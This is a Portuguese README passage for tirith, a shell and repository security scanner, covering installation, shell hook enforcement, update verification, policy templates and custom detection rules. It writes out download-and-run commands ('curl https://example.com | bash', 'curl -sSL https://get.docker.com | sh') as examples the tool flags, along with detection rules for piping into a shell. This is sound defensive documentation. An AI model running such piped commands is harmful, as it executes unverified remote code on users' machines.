- **Terraform** (`*.tf`), um bloco `module` originado de um local remoto / não confiável em vez de um caminho local ou do Terraform Registry
- **Helm charts** (`Chart.yaml`), uma dependência de chart de um repositório de charts não confiável
- **`package.json`**: um script de ciclo de vida `preinstall` / `install` / `postinstall` que executa um comando perigoso (pipe-to-shell, payload ofuscado, download-and-run); esses hooks são executados automaticamente em `npm install`

Três valores `--profile` integrados ajustam a varredura: `ci-hardening` (todas as verificações em força total, fail-on `high`), `ai-agent-repo` (mantém descobertas de injeção, descarta ruído de higiene de fixação de baixo valor) e `oss-maintainer` (enfatiza risco controlável por contribuidores ao revisar uma mudança).```bash
tirith scan ./                          # scan the repo
tirith scan --profile ci-hardening ./   # tune for CI/CD hardening
tirith scan --format sarif ./ > out.sarif

### Pacotes Linux

**Debian / Ubuntu (.deb):**

Baixe em [GitHub Releases](https://github.com/sheeki03/tirith/releases/latest), depois:```bash
sudo dpkg -i tirith_*_amd64.deb

Os binários de lançamento do Linux GNU têm como alvo um teto GLIBC 2.28. A CI executa tanto tarballs x86_64 quanto aarch64 no AlmaLinux 8, Amazon Linux 2023 e Rocky Linux 9; os `.deb` e `.rpm` x86_64 contêm esses mesmos binários canônicos.

**Arch Linux (AUR):**```bash
yay -S tirith
# or: paru -S tirith

### Android (Termux)

O Android/Termux é executado sobre a Bionic libc, não a glibc, portanto a compilação `aarch64-unknown-linux-gnu` não pode ser executada lá, ela precisa do linker dinâmico da glibc. Use a compilação **musl** em vez disso: `tirith-aarch64-unknown-linux-musl.tar.gz` é estaticamente vinculada e é executada no Termux sem uma libc externa.```bash
# In Termux:
pkg install curl tar
# Download the musl build from the latest GitHub release:
curl -fsSL -o tirith.tar.gz \
  https://github.com/sheeki03/tirith/releases/latest/download/tirith-aarch64-unknown-linux-musl.tar.gz
tar xzf tirith.tar.gz
install -Dm755 tirith "$PREFIX/bin/tirith"
tirith --version

> [!NOTE]
> O suporte ao Termux é feito com o melhor esforço possível. O artefato musl é compilado e testado em
> CI, mas o tirith ainda não é testado continuamente em um dispositivo Android real.
> Se um hook se comportar mal no Termux, por favor abra uma issue com a saída do `tirith doctor`.

### Windows

O Windows suporta detecção, varredura, webhooks, gerenciamento de políticas, uploads
de auditoria e `tirith setup`. O hook do PowerShell fornece interceptação preflight do PSReadLine,
mas não reivindica um recibo de execução estrito pós-aceitação.
A execução remota de scripts ao vivo e o modo daemon permanecem indisponíveis no Windows.

**Scoop:**```powershell
scoop bucket add tirith https://github.com/sheeki03/scoop-tirith
scoop install tirith

A moderação do Chocolatey pode ficar atrasada em relação ao lançamento no GitHub. Execute `choco info tirith` para
ver a versão atualmente aprovada. Use o Scoop ou um artefato assinado do
[GitHub Releases](https://github.com/sheeki03/tirith/releases/latest) quando a
versão mais recente for necessária antes que a moderação do Chocolatey seja concluída.

### Multiplataforma

**npm:**```bash
npm install -g tirith

**[Mise](https://mise.jdx.dev/)** (registro oficial):```bash
mise use -g tirith

**Docker:**```bash
docker run --rm ghcr.io/sheeki03/tirith check -- "curl https://example.com | bash"

| Shell | Tipo de hook | Testado em |
|-------|-----------|-----------|
| zsh | accept-line + widgets de colagem | 5.8+ |
| bash | macro da tecla enter ou preexec (dois modos) | caminho de compatibilidade 3.2; 5.0+ para o caminho moderno totalmente testado |
| fish | handlers da tecla Enter + colagem | 3.5+ |
| PowerShell | handler do PSReadLine | 7.0+ |

O Bash usa o modo enter quando um autoteste de capacidade provou que ele funciona para o seu bash, e preexec caso contrário. Desde a 0.4.1 esse autoteste passa no GNU bash padrão, então o modo enter é o resultado comum depois que `tirith setup` ou `tirith doctor` o executou; o hook do shell lê o veredito em cache na inicialização. Consulte [solução de problemas](https://github.com/sheeki03/tirith/blob/main/docs/troubleshooting.md#bash-enter-mode-vs-preexec-mode) para detalhes sobre os modos, o autoteste e o comportamento de fallback em SSH.

O Bash 3.2 do sistema do macOS continua sendo um caminho de compatibilidade, não a
linha de base moderna de bloqueio. Seu comportamento de DEBUG-trap pode impedir
que o trampolim se fixe; o Tirith anuncia a degradação resultante quando seu
heartbeat consegue observá-la, o que pode ocorrer um comando depois. Use Bash 5+
ou um caminho de modo enter comprovado quando um gate de autorização estrito do
Bash for necessário.

> [!WARNING]
> O modo preexec do Bash é apenas de aviso por padrão. Defina `TIRITH_BASH_PREEXEC_ENFORCE=1` para bloqueio condicional. O Tirith escaneia a linha digitada confiável uma vez, habilita seu próprio `extdebug` apenas após um veredito de bloqueio e o libera antes que `PROMPT_COMMAND` seja executado. Se os limites do prompt ou um DEBUG trap pertencente ao chamador não puderem ser preservados com segurança, ou se `extdebug` já estiver habilitado pelo usuário, o Tirith deixa visivelmente a interceptação preexec desligada em vez de sobrescrever o estado do shell.

#### Aplicação por shell

| Shell | Comportamento |
|---|---|
| bash **modo enter** | **Bloqueio confiável.** Vincula Enter a uma macro do readline que executa o verificador e depois um accept-line protegido, de modo que um comando pode ser interrompido antes que o bash se comprometa a executá-lo. Selecionado onde quer que o autoteste de capacidade (`tirith doctor --simulate-enter`) tenha provado a entrega e o bloqueio para o bash em execução, o que desde a 0.4.1 acontece no GNU bash padrão. Uma flag de modo seguro persistida, uma sessão SSH ou um `TIRITH_BASH_MODE=preexec` forçado ainda selecionam preexec. |
| bash **preexec + `TIRITH_BASH_PREEXEC_ENFORCE=1`** | **Bloqueio condicional.** Escaneia uma linha inteira confiável, depois ativa o `extdebug` pertencente ao Tirith apenas para um bloqueio e o restaura no próximo prompt. Entradas existentes de `PROMPT_COMMAND` em string/array mantêm sua ordem e são executadas fora do escaneamento. A aplicação recusa ou rebaixa visivelmente quando o histórico é filtrado ou um alias / substituição de comando / `eval` faz a linha digitada divergir de `BASH_COMMAND`; propriedade insegura de prompt/DEBUG ou `extdebug` pertencente ao usuário deixa a interceptação explicitamente desligada em vez de mutar o estado do usuário. |
| bash **preexec** (sem flag de enforce) | Apenas aviso. Imprime um banner DETECTED em comandos de risco; não bloqueia. O fallback quando o autoteste do modo enter não provou que a entrega funciona, ou quando o modo enter está indisponível de outra forma. |
| zsh, fish | Bloqueio confiável em seus handlers de Enter/accept-line, antes da passagem para o shell nativo. Eventos preexec apenas de notificação não são tratados como gates de autorização. |
| PowerShell | Bloqueio confiável de preflight do PSReadLine; sem recibo estrito de execução. |
| nushell | Apenas aviso (atualmente não suporta interceptação de comandos). |

Para bloqueio em nível de linha no bash, execute `tirith doctor --simulate-enter`; se a entrega funcionar, o modo enter é habilitado. Onde não funcionar, use preexec enforce para "bloqueia quando possível; avisa honestamente quando não consegue."

Bash, zsh e fish interativos usam um recibo de execução do protocolo v3 após a
decisão de preflight. No carregamento do hook, eles resolvem e fixam um
executável Tirith absoluto e registram uma capacidade única vinculada ao
processo do shell ativo, família de shell, sessão, usuário e identidade do
executável. Um recibo então passa por `Prepared`, `Armed`, `Consuming` e um
estado terminal `Committed`/`Conflict`/`Discarded`. Isso melhora a atribuição e
a resistência a replay, mas a evidência do shell é deliberadamente registrada
como não resolvida em vez de prova de que cada componente do comando foi
executado. O próprio Tirith é dono de qualquer prompt de aprovação ou
reconhecimento de aviso antes de retornar um recibo armado; o hook não pode
anexar esses fatos depois. Zsh e fish consomem o recibo armado de forma síncrona
no mesmo handler de aceitação de linha e entregam o comando ao shell nativo
somente após essa transição ter sucesso. O PowerShell tem bloqueio de preflight
sem esse protocolo estrito de recibo.

Um shell aninhado recebe sua própria capacidade vinculada ao processo mesmo
quando herda o ID da sessão. Re-carregar o hook no mesmo processo nunca gera
outro bearer. Se `exec` substituir um shell ativo sem alterar seu PID/identidade
de início, a substituição não consegue recuperar o bearer deliberadamente não
exportado e roda em modo legado visivelmente degradado; inicie um terminal novo
ou um shell filho para restaurar recibos estritos. `exec "$SHELL"` não é um
reinício do protocolo de recibo porque preserva essa identidade de processo.

**Nix / Home-Manager:** o tirith deve estar no seu `$PATH` quando o hook é
carregado. Bash, zsh e fish então fixam esse executável resolvido para a sessão
do shell; reinicie o shell após substituir ou atualizar o binário. Adicioná-lo
apenas ao `initContent` não é suficiente.```nix
home.packages = [ pkgs.tirith ];

programs.zsh.initContent = ''
  eval "$(tirith init --shell zsh)"
'';

**`tirith verify-self`** confirma que o binário em execução é o binário genuíno e não modificado de uma versão oficial. Ele baixa novamente o arquivo de versão para a sua versão e alvo, verifica-o em relação ao `checksums.txt` da versão assinada, verifica a assinatura cosign sobre o `checksums.txt` quando o [`cosign`](https://github.com/sigstore/cosign) está instalado, e confirma que o binário em execução é byte a byte idêntico ao oficial. Se a verificação completa não for possível, uma compilação de desenvolvimento local, sem rede, uma instalação que o tirith não consegue identificar, ele diz isso honestamente em vez de reportar um falso "verified". Com o `cosign` ausente, o checksum ainda é verificado (reportado como `verified-checksum-only`); instale o `cosign` para verificação completa da assinatura (`verified-signed`).

**`tirith update`** tem conhecimento do gestor de pacotes:

- **Instalações via gestor de pacotes** (Homebrew, cargo, npm, Scoop, AUR, apt/dnf) nunca são auto-modificadas. O tirith imprime o comando exato a executar, por exemplo `brew upgrade tirith`. Atualizar através do gestor de pacotes mantém a sua base de dados consistente.
- **Instalações auto-substituíveis** (o tarball do `install.sh`, um binário autónomo, ou uma versão do Tirith com propriedade segura em cache sob uma raiz Hermes (`HERMES_HOME`, ou `~/.hermes` quando essa variável não está definida; apenas Unix)) são atualizadas no local: o tirith baixa a versão mais recente, verifica-a, e depois troca atomicamente o binário, mantendo o anterior como um sidecar `tirith.tirith-previous`. A assinatura cosign é verificada por **predefinição**: se não puder ser verificada (cosign em falta, ou a versão não publicou nenhuma assinatura) a atualização é abortada. Passe `--allow-unsigned` para recorrer à verificação apenas por checksum; uma incompatibilidade de checksum aborta sempre independentemente. `tirith update --rollback` reverte para o binário anterior; `--dry-run` mostra o que aconteceria sem alterar nada. As atualizações permanecem explícitas: o Tirith nunca verifica nem instala um novo binário em segundo plano.

> [!NOTE]
> Os scripts de instalação (`scripts/install.sh` e o `install.ps1` do Windows) também verificam a assinatura cosign da versão por **predefinição** e abortam se o [`cosign`](https://github.com/sigstore/cosign) estiver em falta ou a assinatura não puder ser verificada. Instale o `cosign` primeiro, ou defina `TIRITH_ALLOW_UNSIGNED=1` para instalar com verificação apenas por checksum (não recomendado). Uma incompatibilidade de checksum ou assinatura aborta sempre independentemente desta opção de exclusão.

### Integrações de Shell

**Oh-My-Zsh:**```bash
git clone https://github.com/sheeki03/ohmyzsh-tirith \
  ${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/tirith

# Add tirith to plugins in ~/.zshrc:
plugins=(... tirith)

As dependências fixadas da action usam o runtime de action Node 24. Runners auto-hospedados
devem usar o [Actions Runner v2.327.1 ou mais recente](https://github.com/actions/runner/releases/tag/v2.327.1);
os runners hospedados pelo GitHub já satisfazem este requisito.

Também disponível como **pre-commit hook**: consulte `.pre-commit-hooks.yaml` neste repositório.

O Scan suporta filtros `--include`, `--exclude`, `--profile` (carrega perfis nomeados da policy) e `--ignore` para varredura de CI direcionada.

### Documentação de Regras```bash
tirith explain --rule pipe_to_interpreter   # severity, examples, remediation, MITRE ATT&CK
tirith explain --rule curl_pipe_shell --fix # just the remediation ("what to do instead")
tirith explain --list --category terminal   # all rules in a category

No Linux x86_64, quando o Tirith está instalado num caminho de sistema fixo gerido pelo root e o URL, shell, argumentos e comportamento de stdin do comando podem ser descodificados exatamente, a reescrita encaminha o pipe-to-shell através do runner de cápsulas limitado, revisto, verificado por hash e fail-closed do Tirith. O caminho absoluto do Tirith impede que uma sombra posterior do `PATH` altere o que é executado. Na execução, o runner também exige que o primeiro acerto no `PATH` do interpretador selecionado seja gerido pelo root, vincula os seus bytes antes de descarregar e preserva esse shell em vez de confiar no shebang remoto. Outras arquiteturas, plataformas e instalações do Tirith pertencentes ao utilizador mantêm esta remediação como orientação. Para o curl, as reescritas executáveis exigem adicionalmente semânticas de fail-on-HTTP-error e de seguimento de redirecionamentos (`-f` e `-L`, incluindo um bundle como `-fsSL`). Tokens de URL dinâmicos ou malformados, argumentos de interpretador não suportados, PowerShell, Cmd e pipelines ambíguos permanecem apenas como orientação. As sugestões executáveis estão limitadas ao runner de pipe verificado e fail-closed. Archive, dotfile, remoção de flags TLS, alterações de HTTP para HTTPS, restrição de sudo, limpeza de ambiente e correções de nomes de pacotes são apenas orientação porque as suas semânticas exatas de shell, rede, privilégios, ambiente ou registo não são mecanicamente demonstráveis. Para qualquer achado sem uma reescrita mecânica segura, o Tirith diz isso claramente e mostra a remediação; nunca emite um comando adivinhado. A flag é consultiva: não altera nem o veredicto nem o código de saída.

### Modo Daemon (Unix)

Processo em segundo plano opcional para latência sub-milissegundo e enriquecimento com reconhecimento de rede (resolução de URL encurtado, verificações de listas de bloqueio DNS):```bash
tirith daemon start       # tirith check auto-delegates when running
tirith daemon stop

`tirith policy init` aceita `--template <name>` para uma política inicial pré-definida:```bash
tirith policy init --template individual      # solo developer defaults (alias: personal)
tirith policy init --template ci-strict       # fail-closed, no bypass, scan fail-on
tirith policy init --template ai-agent-heavy  # tuned for heavy AI-agent use
tirith policy init --template oss-maintainer  # reviewing contributor-controllable risk
tirith policy init --template startup         # small-team balance
tirith policy init --template enterprise      # strict, with an active package_policy block
tirith policy init --template mcp-strict      # locked-down MCP server and tool trust

Use `allowlist_rules` para supressões com escopo de regra quando você confia em uma origem para uma regra, mas não quer permiti-la globalmente:```yaml
allowlist_rules:
  - rule_id: curl_pipe_shell
    patterns:
      - "get.docker.com"

O **escopo** de cada entrada é classificado como `exact`, `substring`, `domain`, `wildcard` ou `bare-TLD`. Todo escopo não exato (`substring` / `domain` / `wildcard` / `bare-TLD`) requer `--broad`, portanto uma permissão abrangente é sempre uma escolha deliberada. URLs exatas usam igualdade de URL normalizada (incluindo esquema, host, porta efetiva, caminho, consulta e fragmento), nunca correspondência por substring. Todos os subcomandos suportam `--format json`. Os armazenamentos de confiança gravados por versões mais antigas do tirith continuam funcionando sem alterações; uma entrada sem TTL é tratada como permanente.

### Escalonamento e substituições de ação

Os avisos são rastreados por sessão. Se a mesma regra disparar repetidamente, as regras de escalonamento podem elevar para um bloqueio:```yaml
action_overrides:
  shortened_url: block            # always block, regardless of default severity

escalation:
  - trigger: repeat_count
    rule_ids: ["*"]               # any rule
    threshold: 5
    window_minutes: 60
    action: block
  - trigger: multi_medium
    min_findings: 3               # 3+ medium findings on one command → block
    action: block

Ao sair do shell, um resumo de uma linha é impresso se algum aviso tiver sido registrado durante a sessão.

Mais exemplos em [docs/cookbook.md](https://github.com/sheeki03/tirith/blob/main/docs/cookbook.md).

### Regras de detecção personalizadas

Crie suas próprias regras em `.tirith/policy.yaml` sob `custom_rules:`. Cada regra é um `pattern:` (regex) ou uma árvore de predicados semânticos `when:`, além de um `context:` (`exec`, `paste` ou `file`), um `severity:` e um `title:`.```yaml
custom_rules:
  - id: no_internal_pastebin
    context: exec
    severity: high
    title: "Internal pastebin is not allowed for piped execution"
    when:
      all:
        - command.has_pipeline_to: [bash, sh]
        - url.host_matches: "paste\\.corp\\.example$"

### Mais controles de politica

Outras chaves de politica, todas com padroes seguros (`tirith policy init` grava o conjunto totalmente comentado):

- Limiares de `package_policy:` transformam sinais de cadeia de suprimentos em veredictos de bloqueio ou aviso (`block_typosquat_distance`, `warn_low_downloads_below`, `block_newer_than_days`, `block_not_found`).
- `agent_rules:` `allow:` / `deny:` correspondem a origem do chamador de um comando (`{ kind, name }`); uma correspondencia `deny` forca um bloqueio. `scan.trusted_mcp_servers` e `scan.mcp_allowed_tools` aceitam servidores MCP especificos e ferramentas por servidor.
- Guardas opt-in, desativadas por padrao: `env_guard_enabled`, `exec_guard_enabled`, `hooks_guard_enabled`, `baseline_enabled`, alem de `iac_require_plan_before_apply`, `sudo_require_reason` e `allowed_install_domains`.

Arquivos `.tirith/policy.yaml` com escopo de repositorio so podem restringir, nunca enfraquecer: uma politica de repositorio que tenta ampliar uma allowlist, reduzir uma severidade ou desativar uma guarda e neutralizada, e `tirith policy effective` mostra quais campos foram descartados. Apenas politicas de nivel de usuario e de nivel organizacional (`TIRITH_POLICY_ROOT`) podem relaxar um padrao.

### Modo de aviso estrito

Com `strict_warn: true` (ou `--strict-warn` na CLI), descobertas de risco medio solicitam confirmacao explicita em terminais interativos em vez de apenas avisar silenciosamente:```
$ curl -sSL https://get.docker.com | sh

tirith: WARNING
  [MEDIUM] pipe_to_interpreter, Download piped to interpreter
tirith: proceed with 1 warning(s)? [y/N]

Este é um prefixo padrão de shell por comando; a variável existe apenas para esse único comando e não persiste na sua sessão. As organizações podem desativá-la completamente com `allow_bypass_env: false` na política.

> [!CAUTION]
> `TIRITH=0` é por comando. Não o exporte em perfis de shell, dotfiles ou configuração de CI; um bypass permanente anula todo o modelo de proteção. Se você se pegar recorrendo a ele com frequência, adicione a fonte confiável ao `allowlist` no seu arquivo de política.

---

## Tratamento de dados

Log de auditoria JSONL local em `~/.local/share/tirith/log.jsonl`:
- Timestamp, ID de sessão, ação, IDs de regra, prévia do comando com dados sensíveis removidos
- Dados brutos de detecção (`raw_action`, `raw_rule_ids`) preservados junto à ação aplicada para auditoria de cobertura
- Estado de aviso da sessão em `~/.local/state/tirith/sessions/`
- **Nenhum** comando completo, variável de ambiente ou conteúdo de arquivo

Desativar: `export TIRITH_LOG=0`

---

## Documentação

- [Referência de comandos](https://github.com/sheeki03/tirith/blob/main/docs/commands.md): cada subcomando, agrupado por categoria
- [Matriz de capacidades](https://github.com/sheeki03/tirith/blob/main/docs/capability-matrix.md): cobertura por comando (o que o tirith inspeciona e se a política o governa integralmente)
- [Cobertura de aplicação](https://github.com/sheeki03/tirith/blob/main/docs/enforcement-coverage.md): registro por capacidade separando detecção, decisão de pré-execução, aplicação de execução, contenção e atestação
- [Modelo de ameaças](https://github.com/sheeki03/tirith/blob/main/docs/threat-model.md), contra o que o tirith defende e contra o que não defende
- [Cookbook](https://github.com/sheeki03/tirith/blob/main/docs/cookbook.md), exemplos de políticas para configurações comuns
- [Solução de problemas](https://github.com/sheeki03/tirith/blob/main/docs/troubleshooting.md), peculiaridades de shell, latência, falsos positivos
- [Compatibilidade](https://github.com/sheeki03/tirith/blob/main/docs/compatibility.md), superfície estável vs experimental
- [Notas de versão 0.4.2](https://github.com/sheeki03/tirith/blob/main/docs/release-notes-0.4.2.md), o que a versão de patch atual altera, e as [notas de versão 0.4.0](https://github.com/sheeki03/tirith/blob/main/docs/release-notes-0.4.0.md) para os destaques, limitações e contrato de publicação da linha 0.4
- [Checklist de release](https://github.com/sheeki03/tirith/blob/main/docs/release-checklist.md), sequência de publicação protegida e verificação de registro
- [Política de segurança](https://github.com/sheeki03/tirith/blob/main/SECURITY.md), relato de vulnerabilidades
- [Desinstalação](https://github.com/sheeki03/tirith/blob/main/docs/uninstall.md), remoção limpa por shell e gerenciador de pacotes

Guias de recursos:

- [Guarda de comandos Web3](https://github.com/sheeki03/tirith/blob/main/docs/security/web3-command-guard.md) (a política `web3_guard`, as três regras Web3 e os bindings do command-card v2)
- [Envelope de tarefa](https://github.com/sheeki03/tirith/blob/main/docs/task-envelope.md) (proveniência de tarefa não confiável, a política `task_gate` e a ferramenta MCP de prévia)
- [Projetos não confiáveis](https://github.com/sheeki03/tirith/blob/main/docs/untrusted-projects.md) (o fluxo de trabalho "alguém me enviou um repositório")
- [Fluxo de artefatos de CI](https://github.com/sheeki03/tirith/blob/main/docs/ci-artifact-flow.md) (envenenamento de artefatos de build entre workflows)
- [Auditoria de extensões de navegador](https://github.com/sheeki03/tirith/blob/main/docs/browser-extension-audit.md) (auditoria de integridade somente leitura da família Chromium)
- [Recibo de proveniência npm](https://github.com/sheeki03/tirith/blob/main/docs/npm-provenance-receipt.md) (`pkg attest-npm`, e exatamente o que ele não vincula)
- [Recibos de atestação](https://github.com/sheeki03/tirith/blob/main/docs/attestation-receipts.md) (recibos de build e implantação em um ponto no tempo)
- [Implantação e reversão](https://github.com/sheeki03/tirith/blob/main/docs/web3-task-rollout.md) (ativação escalonada, gatilhos e o playbook de reversão)
- [Governança de agentes](https://github.com/sheeki03/tirith/blob/main/docs/agent-governance-design.md) (atribuição de origem do chamador e `agent_rules`)
- [Filtro de saída MCP](https://github.com/sheeki03/tirith/blob/main/docs/mcp-output-filter.md) (o gateway e o contrato de sanitização de saída MCP)
- [Modos do Doctor](https://github.com/sheeki03/tirith/blob/main/docs/doctor-modes.md) (completo vs `--quick`, e o esquema de snapshot JSON)
- [Perfis de LSP e editor](https://github.com/sheeki03/tirith/blob/main/docs/lsp-profiles.md) (diagnósticos inline no editor)
- [Mensagens nativas do navegador](https://github.com/sheeki03/tirith/blob/main/docs/browser-native-messaging.md) (host e extensão de proveniência da área de transferência)
- [Proveniência de colagem](https://github.com/sheeki03/tirith/blob/main/docs/paste-provenance.md) (a regra `paste_source_mismatch`)
- [Formatos de canário](https://github.com/sheeki03/tirith/blob/main/docs/canary-formats.md) (formatos sintéticos de honeytoken)
- [Integração com prompt](https://github.com/sheeki03/tirith/blob/main/docs/prompt-integration.md) (conectando `tirith prompt-status` ao seu prompt de shell)

## Licença

**A cobertura de segurança principal é distribuída na árvore de código aberto.** Todas as 244 regras de detecção e o servidor MCP estão disponíveis a partir do código-fonte. O repositório ainda contém caminhos legados de licenciamento e de servidor de políticas, então evite presumir que todo caminho de execução já esteja livre de camadas.

O tirith tem licença dupla:

- **AGPL-3.0-only**: [LICENSE-AGPL](https://github.com/sheeki03/tirith/blob/main/LICENSE-AGPL), livre sob termos de copyleft
- **Comercial**: [LICENSE-COMMERCIAL](https://github.com/sheeki03/tirith/blob/main/LICENSE-COMMERCIAL), se as obrigações de copyleft da AGPL não funcionarem para o seu caso de uso, entre em contato com [email protected] para licenciamento alternativo

Atribuições de dados de terceiros em [NOTICE](https://github.com/sheeki03/tirith/blob/main/NOTICE).

## Histórico de estrelas

[![Star History Chart](https://star-history.dera.page/svg?repos=sheeki03/tirith&type=Date)](https://star-history.dera.page/#sheeki03/tirith&Date)